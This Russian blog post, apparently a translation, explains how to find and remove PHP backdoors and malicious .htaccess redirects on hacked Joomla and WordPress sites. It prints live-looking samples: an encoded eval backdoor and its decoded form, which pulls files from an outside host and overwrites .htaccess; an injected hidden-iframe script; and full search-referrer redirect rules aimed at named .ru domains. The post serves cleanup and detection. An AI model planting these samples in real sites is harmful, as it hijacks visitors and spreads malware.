Трижды корявый перевод статьи из какого-то зарубежного блога. Если интересно — пишите в комментариях. Разовью тему уже на основе собственной практики.

В большинстве случаев т.н. «вредоносных редиректов» осуществляющихся путём взлома .htaccess, которые я в последнее время видел (если не во всех), после очистки файла .htaccess вредоносный код добавляется снова в течение 30 минут.

Это делается при помощи т. н. «бекдоров», которые хакеры поместили в код скриптов сайта. До сих пор все они были php-файлами, загруженными в папки сайта хакерами. Владельцы сайтов сообщали, что бэкдор был php файлом, названным w17481866w.php/wp-hxnqb.php расположенным в корневой папке сайта.

На WordPress сайтах использовались такие файлы как:

/wp-includes/js/tinymce/plugins/media/jquery.autogrow.php
/wp-includes/js/tinymce/plugins/wpgallery/img/site.php 
/wp-includes/js/tinymce/plugins/wpgallery/img/hodoo.php 
/wp-includes/core.php

 

Во всех приведённых примерах я до сих пор видел base64-кодированный php скрипт, так что утилита для поиска файлов, содержащих base64 должна быть полезной в обнаружении таких файлов.

08/28/2012 — Редиректы на google.com (или bing.com) на сайтах Joomla
Этот хак встречается на сайтах использующих старые версии Joomla.
Редиректы изменяются каждые несколько часов, иногда они перенаправляют на сайт с вредоносным содержимым, с которого оно скачивается незаметно для пользователя, после чего он перенаправляется на google.com.
Несколько часов спустя они перенаправляют на другой контролируемый хакером сайт и ничего не скачивается, после чего посетитель перенаправляется на Гугл (или Бинг), а ещё несколько часов спустя они перенаправляют непосредственно на google.com.
Это условный редирект на основе ссылающейся страницы, являющейся поисковой системой, Google или Bing.
Во всех случаях, которые мне встречались это был хак файла .htaccess, и во всех случаях он включал наличие на сайте бекдора. На сайтах которые я видел, бекдоры располагались в папках типа /images/stories/ или images/banners.
Проанализируйте ваши логи доступа на наличие примерно таких запросов:

[04/Sep/2012:15:20:17 -0600] "POST /images/banners/.lib_l9ium8.php HTTP/1.1" 500 3950 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"

 

Имена файлов формировались по шаблонам вроде .cache_bqwn68.php .cache_boacfm.php .cache_ja3loa.php (за некоторыми исключениями, когда имена файлов были немного более неясными – story.php, sitemap.php, 0day.php)
Проверьте сайт на наличие файлов именованых по этим шаблонам, и если вы найдете любой подозрительный файл — проверьте его на наличие какого-либо обфусцированного PHP-кода, ктороый начинается примерно вот так:

preg_replace("/.*/e","\x65\x76\x61\x6c\x20\x28\x20\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x20\x28\x20\x62\x61\x73\x65 .

 

Последние три сайта которые я смотрел, кроме прочего имели хак в файлах JavaScript сайта. Вредоносный код был размещен в конце этих файлов. Это была строка скрипта, создающего на странице сайта iframe:

document.write('<iframe src="hxxp:// [вредоносный_сайт]. ru/Tech?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

09/13/2012
На многих сайтах я встречаю множество файлов .htaccess с вредоносным содержимым, которые расположены в разных директориях сайта. Вам необходимо проверить все папки сайта. Так, один из сайтов содержал 42 зараженных файла .htaccess в дополнение к тому, который находился в корневой папке.
Один владедец сайта на WordPress также смог найти бекдор изучая лги сервера. Его рекомендации –

Кроме того, анализируя логи сервера, запросы к wp-raikc.php приходили парами с интервалом в секунду или две.
Каждый из них имел одинаковое значение user agent («Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0»).
Они все были POST запросами к wp-raikc.php и все выполнялись успешно. Каждая пара имела чередующиеся номера 391 и 286. И наконец, около половины запросов приходило с IP-адреса в следующем формате: 188.120.*.*

 

188.120.*.* - - [06/Feb/2012:16:22:29 -0800] "POST /dotProject/wp-raikc.php HTTP/1.1"
200 391 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
188.120.*.* - - [06/Feb/2012:16:22:30 -0800] "POST /dotProject/wp-raikc.php HTTP/1.1"
200 286 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"

 (IP-адрес скрыт на случай, если компьютер, которому он принадлежит использовался как прокси)

Итак, моя рекомендация состоит в том чтобы анализировать логи вашего сервера.

Один владелец сайта предоставил содержимое бекдора, внедрённого в его сайт. В этом случае бекдор был в виде отдельного php-файла в корневой директории сайта.

<?
eval(gzuncompress(base 64_decode('eJw9j81qwzAQhO8Gv8MiBFZIsHIJhcR2WkIOhdBeCj2EYFRFtgSOFaSFpEnbZ6/8096Wmf12ZrN1HD16hSWakyobczLI5pNVEJVz1pVOna1D09ZsWz7tdvAF2/Ll9e15s+2W4ohec+Gc+GRxRDSmeEWSFyTVKKRU3pNZ0GVt/oxulJLE0UBX1ikhNaNXEB7oMS/obXLv71amUZBDZc+qZfQGM3KZkjHTi7yzyzr0lrZF1aJniUY8LzkPRi0akVpX8xDHk5QeR+7iDPZHh4ENIbNwb6wjG+vVIA+KqdhATe6gpLZA9tMDvDsb8CVkArRTVZ6knN6S0D3jooCMf7iCrOBbNV79Yz8H2Ig2wQCbHg4/ZeNilyT1yR77R2H+sFgM8cFZF7+L6Hdt');
?>

 

Который декодировался в что-то наподобии этого:

<?
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
$x=array( "ht.txt"=>".htaccess", "cgi.txt"=>"cgi.cc" );
foreach($x as $d=>$z)
{
$file = fopen($z ,"w+");
$sa=file_get_contents('http://2nd-party-site.org/cgi/'.$d);
$write = fwrite ($file ,$sa);
fclose($file);
if($write)
{
echo "[+] Wrote : <a href='./$z'>$z</a> </br>";
}
else
{
echo "[~] Can't Write : $z <br>";
}
chmod($z , 0755);
}
?>

02/09/2012 Немного дополнительной информации от владельца сайта
В этом случае был взломан сайт на Joomla. Владелец обнаружил 6 файлов с вредоносным кодом:

htaccess.php
functions.php
rewrite_mod.php
rewrite_module.php
access_log.php
1access_log.php

Все файлы содержали одиноаковый обфусцированный php-код, но в отличии от «типчного» начала eval(base64_decode(‘ или eval(gzinflate(base64_decode(‘ , строки начинались с

{return call_user_func('bas'.'e6'.'4'.'_de'.'code',$t);};
или
{return call_user_func('gz'.'inf'.'late',call_user_func('bas'.'e6'.'4'.'_de'.'code',$t));}

Небольшой скрипт base64_decode (приведён выше) ищет только точные совпадения с base64_decode и не может найти файлы подобные этим.

Скрипт поиска base64_decode можно легко модифицировать для поиска этого кода. Найдите в нем строку

$str_to_find='base64_decode'; // the string(code/text) to search for

и измените её на

$str_to_find='call_user_func'; // the string(code/text) to search for

 

На некоторых сайтах вы можете получить кроме прочего и ложные срабатывания, но при проверке содержимого найденных файлов на код приведённый выше всё будет достаточно очевидно.
It looks like what happens is when the file is requested and the script executes it gets the content of the URL http://2nd-party-site.org/cgi/ht.txt and writes that to the .htaccess file on the hacked site.  (I did not use the real name of the 2nd party site because I am pretty sure that was also a compromised site, another innocent victim.) It also gets the content of a file named cgi.txt from the 2nd party site and writes to a file named cgi.cc.
В некоторых случаях владелец обнаруживал на сайте бекдор «FilesMan». Опять же скрипт поиска base64_decode может быть легко модифицирован для поиска строки «FilesMan». Для этого найдите строку

$str_to_find='base64_decode'; // the string(code/text) to search for

 

и замените её на

$str_to_find='FilesMan'; // the string(code/text) to search for

Также попробуйте поискать

$str_to_find='Web Shell by oRb'; // the string(code/text) to search for

Если Вы нашли файлы, которые вы считаете подозрительными, но не уверены — попробуйте переименовать эти файлы (например, изменив их расширение на .vir – прим. переводчика.) и проверьте работу сайта для того чтобы понять что произойдет при этом.

После проверки Вы можете удалить их, если они окажутся вредоносными. Или всстановить их изначальные имена, если окажется что это оригинальные файлы сайта и они нужны для его нормальной работы. (добавить перечень файлов популярных CMS)

До сих пор я встречал только такую модель перенаправления на сайты в зоне .ru saveprefs.ru, securesoftconnection.ru, prefsintimg.ru, onmouseout.ru, и так далее. Кроме того путь/файл /astro/index.php, congatarc.ru, xisicongatarc.ru/emain/index.php
Вы можете использовать онлайн инструмент Redleg’s File Viewer для проверки Вашего сайта на наличе редиректов. Рдиректы основаны на ссылающейся странице (page referer), поэтому убедитесь что в пункте 2 Вами выбран Google.
Вредоносный код в .htaccess выглядел примерно так:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://saveprefs .ru/astro/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://saveprefs .ru/astro/index.php [R=301,L]
</IfModule>
ErrorDocument 400 http://saveprefs .ru/astro/index.php
ErrorDocument 401 http://savepref s.ru/astro/index.php
ErrorDocument 403 http://saveprefs .ru/astro/index.php
ErrorDocument 404 http://saveprefs .ru/astro/index.php
ErrorDocument 500 http://saveprefs .ru/astro/index.php

 

В некоторых хаках перенаправление на URL http://xisicongatarc.ru/emain/index.php

На одном WordPress сайте с хаком «Payday Loans» (потребительские кредиты) вредоносный код в .htaccess выглядел так:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !wp-stat.php
RewriteCond %{DOCUMENT_ROOT}/wp-stat.php -f
RewriteRule ^.*$ /wp-stat.php [L]
</IfModule>

Удаление файла .htaccess или изменение прав доступа не защищает от последующей перезаписи.

Если Вы нашли хак, редирект в файле .htaccess, необходимо продолжать наблюдать за ним для того чтобы убедиться что вредоносный код не будет перезаписан вновь.

Некоторые советы по проверка файла .htaccess на наличие вредоносного кода могут быть найдены в статье How to check the .htaccess file for malware (как проверить файл .htaccess на наличие вредоносного содержимого)